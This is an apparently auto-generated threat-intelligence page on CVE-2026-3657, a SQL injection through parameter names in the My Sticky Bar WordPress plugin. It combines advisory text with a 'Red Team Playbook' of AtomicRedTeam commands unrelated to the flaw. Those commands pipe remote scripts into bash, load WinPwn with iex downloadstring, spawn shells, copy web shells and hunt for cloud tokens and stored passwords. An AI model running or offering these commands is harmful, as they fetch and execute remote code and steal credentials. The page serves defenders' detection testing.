CVE-2026-3657
Overview
This vulnerability is a SQL injection affecting the premio My Sticky Bar WordPress plugin, specifically in the AJAX action handler for 'stickymenu_contact_lead_form'. The root cause lies in the use of attacker-controlled POST parameter names as SQL column identifiers within the $wpdb->insert() function without proper validation. Although parameter values are sanitized, the keys are incorporated directly into the SQL query, enabling injection through crafted parameter names in versions up to and including 2.8.6.
Vulnerability Description
The My Sticky Bar plugin for WordPress is vulnerable to SQL injection via the `stickymenu_contact_lead_form` AJAX action in all versions up to, and including, 2.8.6. This is due to the handler using attacker-controlled POST parameter names directly as SQL column identifiers in `$wpdb->insert()`. While parameter values are sanitized with `esc_sql()` and `sanitize_text_field()`, the parameter keys are used as-is to build the column list in the INSERT statement. This makes it possible for unauthenticated attackers to inject SQL via crafted parameter names, enabling blind time-based data extraction from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely over the network without user interaction, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. By injecting SQL through parameter keys, the attacker can perform blind time-based data extraction, potentially leading to unauthorized disclosure of sensitive database information. This undermines data confidentiality and may facilitate further attacks against the affected WordPress site.
Solution
Users should upgrade the premio My Sticky Bar plugin to a version later than 2.8.6 where this vulnerability is addressed. Detailed patch information and remediation instructions are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/05d633f5-151a-4462-a6a0-5a638d7c3404. Applying the updated plugin version replaces the vulnerable SQL handling code and mitigates the injection risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the My Sticky Bar plugin for WordPress arises from improper handling of user input in the context of SQL queries. Specifically, the plugin allows for the insertion of data into the database using user-supplied POST parameter names directly as SQL column identifiers. This design flaw permits attackers to manipulate the SQL query by crafting malicious parameter names, leading to SQL injection. Although the values of these parameters are sanitized, the keys are not, which creates a significant security gap. Attackers can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to unauthorized data access or manipulation.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker can send specially crafted AJAX requests to the vulnerable plugin, leveraging the `stickymenu_contact_lead_form` action. By manipulating the POST parameter names, the attacker can inject SQL code that the database will execute. This could allow for blind time-based data extraction, where the attacker can infer information from the database based on the time it takes for the server to respond. Such exploitation can lead to the exposure of sensitive data, including user credentials, personal information, or other confidential records stored in the database.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on the My Sticky Bar plugin for customer engagement and lead generation. The ability for an attacker to extract data from the database poses significant business risks, including potential data breaches, loss of customer trust, and regulatory repercussions. Organizations may face legal liabilities if sensitive information is compromised, especially under data protection regulations such as GDPR or CCPA. Additionally, the reputational damage resulting from a successful attack can lead to long-term financial consequences, as customers may choose to disengage from a brand perceived as insecure.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to update the My Sticky Bar plugin to the latest version, which addresses this security flaw. Regularly updating all plugins and themes is a best practice for maintaining WordPress security. Additionally, organizations should conduct routine security audits and vulnerability assessments to identify and remediate potential weaknesses in their web applications. Employing a web application firewall (WAF) can also help filter out malicious requests before they reach the application layer. Furthermore, implementing strict input validation and sanitization for all user-supplied data can significantly reduce the risk of SQL injection attacks.
In conclusion, the SQL injection vulnerability in the My Sticky Bar plugin exemplifies the critical importance of secure coding practices in web development. By allowing user-controlled input to directly influence SQL queries, the plugin exposes itself to significant risks that can have dire consequences for organizations. Proactive measures, including timely updates, security assessments, and robust input validation, are essential in mitigating the risks associated with such vulnerabilities. Organizations must remain vigilant in their cybersecurity efforts to protect their data and maintain the trust of their users.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-3657, indicating initial exploitation attempts targeting the My Sticky Bar WordPress plugin. This shift from no prior telemetry to confirmed sightings elevates the practical risk posed by this SQL injection vulnerability. The updated CVSS score of 7.5 reflects the high severity of potential unauthorized database manipulation through attacker-controlled SQL column identifiers. Although the EPSS score remains low and stable, the emergence of active exploitation signals that threat actors are beginning to leverage this flaw in the wild. For defenders, this development underscores an increased urgency to monitor for suspicious AJAX requests associated with the vulnerable plugin and to reassess exposure within WordPress environments. The evolving threat landscape suggests that the vulnerability is transitioning from theoretical risk to active exploitation, thereby raising the overall threat level and necessitating heightened situational awareness.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-3657 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/05d633f5-151a-4462-a6a0-5a638d7c3404?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/mystickymenu/tags/2.8.6/mystickymenu.php#L2001 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/mystickymenu/tags/2.8.6/mystickymenu.php#L2386 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/mystickymenu/tags/2.8.6/mystickymenu.php#L2396 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/mystickymenu/trunk/mystickymenu.php#L2386 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?old_path=/mystickymenu/tags/2.8.6&new_path=/mystickymenu/tags/2.8.7 |